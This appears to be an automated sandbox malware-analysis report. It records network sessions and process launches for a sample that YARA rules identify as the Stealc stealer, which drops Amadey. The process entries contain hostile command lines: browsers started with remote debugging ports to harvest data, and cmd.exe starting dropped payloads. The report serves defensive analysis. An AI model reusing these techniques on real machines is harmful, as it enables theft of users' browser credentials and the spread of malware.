EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	54606	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 05:23:41 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: abd9f556-e2d9-4895-8adb-ce2bef912d84 PPServer: PPV: 30 H: BL02EPF0001D7D5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:41 GMT Connection: close Content-Length: 11412
2024-11-12 05:23:41 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	54607	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:41 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:41 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 3018dbe1-101e-008d-70d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052341Z-16547b76f7f7lhvnhC1DFWa2k00000000ez000000000pmr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	54610	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:41 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:41 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052341Z-16547b76f7fj5p7mhC1DFWf8w40000000f7000000000hc9g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	54611	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:41 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 510f214b-601e-0050-22a5-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052341Z-15869dbbcc6rzfwxhC1DFWrkb00000000at0000000000nvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	54609	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:41 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:41 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:41 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052341Z-16547b76f7f9rdn9hC1DFWfk7s0000000f8g000000001416 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:41 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Target ID:	0
Start time:	00:22:57
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd30000
File size:	1'816'064 bytes
MD5 hash:	2878CC9A985C0FB2E09A37A43F3D99AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2047136566.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2547238777.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:23:09
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:23:10
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,12669535664876434942,9463197344397114714,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:23:19
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:23:20
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2112,i,15661409552434283723,8671285796704867672,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:23:20
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:23:21
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2768 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	00:23:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:23:25
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:23:48
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFBFBAEBK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:23:48
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:23:48
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsHCFBFBAEBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHCFBFBAEBK.exe"
Imagebase:	0x840000
File size:	3'194'368 bytes
MD5 hash:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2626788836.0000000000841000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:23:54
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x160000
File size:	3'194'368 bytes
MD5 hash:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2646374094.0000000000161000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:24:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x160000
File size:	3'194'368 bytes
MD5 hash:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.3287170975.0000000000161000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	00:24:13
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Imagebase:	0xc80000
File size:	1'816'064 bytes
MD5 hash:	2878CC9A985C0FB2E09A37A43F3D99AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2849080030.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2800396250.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2849516571.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:24:17
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'194'368 bytes
MD5 hash:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	00:24:21
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7324 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	00:24:27
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Imagebase:	0xc80000
File size:	1'816'064 bytes
MD5 hash:	2878CC9A985C0FB2E09A37A43F3D99AE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2990514987.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2947123671.0000000005430000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:24:27
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Imagebase:	0xd40000
File size:	2'871'296 bytes
MD5 hash:	B9E7F5643E8ED276A27F154C12F9D029
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:24:35
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Imagebase:	0xc80000
File size:	1'816'064 bytes
MD5 hash:	2878CC9A985C0FB2E09A37A43F3D99AE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.3027537351.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3069907329.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:24:44
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Imagebase:	0xd40000
File size:	2'871'296 bytes
MD5 hash:	B9E7F5643E8ED276A27F154C12F9D029
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:24:57
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Imagebase:	0xd40000
File size:	2'871'296 bytes
MD5 hash:	B9E7F5643E8ED276A27F154C12F9D029
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

